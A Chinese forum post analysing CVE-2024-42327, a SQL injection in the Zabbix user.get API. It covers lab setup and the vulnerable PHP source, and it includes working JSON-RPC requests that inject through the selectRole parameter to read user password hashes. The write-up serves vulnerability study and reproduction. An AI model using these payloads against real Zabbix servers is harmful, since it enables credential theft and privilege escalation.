问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-42327:Zabbix SQL注入漏洞分析
漏洞分析
Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。 Zabbix SQL注入漏洞(CVE-2024-42327),攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。
> 仅供学习交流,请勿用于非法用途 漏洞简介 ==== Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。 攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。 影响版本 ==== ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-417cdeff2064d323838f4b17e59f4e693d82d923.png) 6.0.0 <= Zabbix <= 6.0.31 6.4.0 <= Zabbix <= 6.4.16 Zabbix 7.0.0 环境搭建 ==== 参考<https://forum.butian.net/share/3056> 访问<https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.0/> ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1b667fe360e98b6afbf9c538904a307747f18d25.png) 选择 \*vmx.tar.gz 这个,解压双击.vmx 文件即可导入 Vmware Workstation 然后开机即可,访问机器ip的80端口即可看到 zabbix 登录页面,默认账号密码是`root/zabbix` php调试环境搭建 --------- 参考<https://juejin.cn/post/7201509055713493049> 我这里源码从 <https://cdn.zabbix.com/zabbix/sources/stable/7.0/> 下载的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-be94a1399b13ff3a39e892d1f3a0359980db79fd.png) 虚拟机中没有`php`命令,但是有`php-fpm`命令可以用 `php-fpm -i`获取到配置信息后使用wizard安装php xdebug拓展,这里安装xdebug-3.4.0 ```bash cd /tmp curl https://xdebug.org/files/xdebug-3.4.0.tgz -o xdebug-3.4.0.tgz tar -xvzf xdebug-3.4.0.tgz cd xdebug-3.4.0 # 编译所需环境 yum install -y install gcc automake autoconf libtool make php-devel phpize ./configue make cd module cp xdebug.so /usr/lib64/php/modules/ ``` 然后`vi /etc/php.d/99-xdebug.ini` 添加行`zend_extension = xdebug` 然后`systemctl restart php-fpm`重启 php-fpm,最后`php-fpm -v`查看是否成功生效 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-832489a490b0051870a49d86a4f01eb69071f488.png) 配置php.ini文件,在末尾添加以下内容 ```ini xdebug.mode = debug,develop,trace xdebug.start_with_request = yes xdebug.client_host = 192.168.182.1 xdebug.client_port = 9003 ``` 具体作用可以参考<https://xdebug.org/docs/develop> 这里是指定vscode所在机子的ip和通信端口(注意要开放这个端口) 然后在vscode添加调试配置,将生成的php xdebug的默认配置改为 ```json { "name": "远程调试", "type": "php", "request": "launch", "port": 9003, "pathMappings": { "/usr/share/zabbix": "${workspaceFolder}/ui" }, "hostname": "192.168.182.1" } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-88898b776db57cc951ed9f301731fb5a0508ebdf.png) 漏洞复现 ==== Zabbix 的`addRelatedObjects`函数中的`CUser`类中存在SQL注入,此函数由 `CUser.get` 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。 首先通过账号密码登录后台 ```http POST /api_jsonrpc.php HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/json-rpc Content-Length: 106 {"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1} ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-19791d6ea929e76a0fd916c4609873f67f0133f2.png) 然后SQL注入获取敏感信息 ```http POST /api_jsonrpc.php HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/json-rpc Content-Length: 167 {"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1} ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f9a56ec9a2e3d2620af15312981d15b081e02a99.png) 漏洞分析 ==== 定位漏洞点`ui/include/classes/api/services/CUser.php#get`这个方法 ```php public function get($options = []) { $result = []; $sqlParts = [ 'select' => ['users' => 'u.userid'], 'from' => ['users' => 'users u'], 'where' => [], 'order' => [], 'limit' => null ]; $defOptions = [ 'usrgrpids' => null, 'userids' => null, 'mediaids' => null, 'mediatypeids' => null, // filter 'filter' => null, 'search' => null, 'searchByAny' => null, 'startSearch' => false, 'excludeSearch' => false, 'searchWildcardsEnabled' => null, // output 'output' => API_OUTPUT_EXTEND, 'editable' => false, 'selectUsrgrps' => null, 'selectMedias' => null, 'selectMediatypes' => null, 'selectRole' => null, 'getAccess' => null, 'countOutput' => false, 'preservekeys' => false, 'sortfield' => '', 'sortorder' => '', 'limit' => null ]; $options = zbx_array_merge($defOptions, $options); // permission check if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) { if (!$options['editable']) { $sqlParts['from']['users_groups'] = 'users_groups ug'; $sqlParts['where']['uug'] = 'u.userid=ug.userid'; $sqlParts['where'][] = 'ug.usrgrpid IN ('. ' SELECT uug.usrgrpid'. ' FROM users_groups uug'. ' WHERE uug.userid='.self::$userData['userid']. ')'; } else { $sqlParts['where'][] = 'u.userid='.self::$userData['userid']; } } // userids if ($options['userids'] !== null) { zbx_value2array($options['userids']); $sqlParts['where'][] = dbConditionInt('u.userid', $options['userids']); } // usrgrpids if ($options['usrgrpids'] !== null) { zbx_value2array($options['usrgrpids']); $sqlParts['from']['users_groups'] = 'users_groups ug'; $sqlParts['where'][] = dbConditionInt('ug.usrgrpid', $options['usrgrpids']); $sqlParts['where']['uug'] = 'u.userid=ug.userid'; } // mediaids if ($options['mediaids'] !== null) { zbx_value2array($options['mediaids']); $sqlParts['from']['media'] = 'media m'; $sqlParts['where'][] = dbConditionInt('m.mediaid', $options['mediaids']); $sqlParts['where']['mu'] = 'm.userid=u.userid'; } // mediatypeids if ($options['mediatypeids'] !== null) { zbx_value2array($options['mediatypeids']); $sqlParts['from']['media'] = 'media m'; $sqlParts['where'][] = dbConditionInt('m.mediatypeid', $options['mediatypeids']); $sqlParts['where']['mu'] = 'm.userid=u.userid'; } // filter if (is_array($options['filter'])) { if (array_key_exists('autologout', $options['filter']) && $options['filter']['autologout'] !== null) { $options['filter']['autologout'] = getTimeUnitFilters($options['filter']['autologout']); } if (array_key_exists('refresh', $options['filter']) && $options['filter']['refresh'] !== null) { $options['filter']['refresh'] = getTimeUnitFilters($options['filter']['refresh']); } if (isset($options['filter']['passwd'])) { self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to filter by user password.')); } $this->dbFilter('users u', $options, $sqlParts); } // search if (is_array($options['search'])) { if (isset($options['search']['passwd'])) { self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to search by user password.')); } zbx_db_search('users u', $options, $sqlParts); } // limit if (zbx_ctype_digit($options['limit']) && $options['limit']) { $sqlParts['limit'] = $options['limit']; } $userIds = []; $sqlParts = $this->applyQueryOutputOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts); $sqlParts = $this->applyQuerySortOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts); $res = DBselect(self::createSelectQueryFromParts($sqlParts), $sqlParts['limit']); while ($user = DBfetch($res)) { unset($user['passwd']); if ($options['countOutput']) { $result = $user['rowscount']; } else { $userIds[$user['userid']] = $user['userid']; $result[$user['userid']] = $user; } } if ($options['countOutput']) { return $result; } /* * Adding objects */ if ($options['getAccess'] !== null) { foreach ($result as $userid => $user) { $result[$userid] += ['gui_access' => 0, 'debug_mode' => 0, 'users_status' => 0]; } $access = DBselect( 'SELECT ug.userid,MAX(g.gui_access) AS gui_access,'. ' MAX(g.debug_mode) AS debug_mode,MAX(g.users_status) AS users_status'. ' FROM usrgrp g,users_groups ug'. ' WHERE '.dbConditionInt('ug.userid', $userIds). ' AND g.usrgrpid=ug.usrgrpid'. ' GROUP BY ug.userid' ); while ($userAccess = DBfetch($access)) { $result[$userAccess['userid']] = zbx_array_merge($result[$userAccess['userid']], $userAccess); } } if ($result) { $result = $this->addRelatedObjects($options, $result); } // removing keys if (!$options['preservekeys']) { $result = zbx_cleanHashes($result); } return $result; } ``` 可以看出这里在解析传入的参数。首先将传入的参数合并到参数模板中,然后根据合并后的参数调整SQL语句的`from`、`where`和`limit`等子句,然后查询用户表中所有字段 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f5566dbaeefb9aa9cbc584cd5e0a713194ac0f49.png) `fetch`结果集后,`unset`了passwd这个敏感字段,所以预期这里的结果是获取不到passwd这个字段的 ```php while ($user = DBfetch($res)) { unset($user['passwd']); if ($options['countOutput']) { $result = $user['rowscount']; } else { $userIds[$user['userid']] = $user['userid']; $result[$user['userid']] = $user; } } ``` 处理完查询的结果集后,又向结果集中添加了一些对象,这里调用了`CUser#addRelatedObjects()`这个方法,跟进 > Adds the related objects requested by "select\*" options to the resulting object set. ```php protected function addRelatedObjects(array $options, array $result) { $result = parent::addRelatedObjects($options, $result); $userIds = zbx_objectValues($result, 'userid'); // ...... // adding user role if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) { if ($options['selectRole'] === API_OUTPUT_EXTEND) { $options['selectRole'] = ['roleid', 'name', 'type', 'readonly']; } $db_roles = DBselect( 'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : ''). ' FROM users u,role r'. ' WHERE u.roleid=r.roleid'. ' AND '.dbConditionInt('u.userid', $userIds) ); foreach ($result as $userid => $user) { $result[$userid]['role'] = []; } while ($db_role = DBfetch($db_roles)) { $userid = $db_role['userid']; unset($db_role['userid']); $result[$userid]['role'] = $db_role; } } return $result; } ``` 可以看到这个方法在`adding user role`这个功能点时,将用户可控的options参数内容直接拼接到了SQL语句中,于是造成了SQL注入。并且查询结果会存进`$result`数组中返回,最终以 json 形式返回到客户端。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-371ae32e354c4bea449fa58d2d262d0407f2107a.png) 并且这里注入的位置在查询的字段名处,可利用度相当高,于是可以轻松构造相关恶意语句 ```json {"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, version()", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1} ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4100f4fc983b9d5c50188354e6894b85e73acdbb.png) 结语 == 第一次复现 zabbix 的漏洞,如有纰漏,欢迎交流
发表于 2024-12-20 10:12:09
阅读 ( 330 )
分类:
Web应用
1 推荐
收藏
0 条评论
请先
登录
后评论
ph0ebus
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!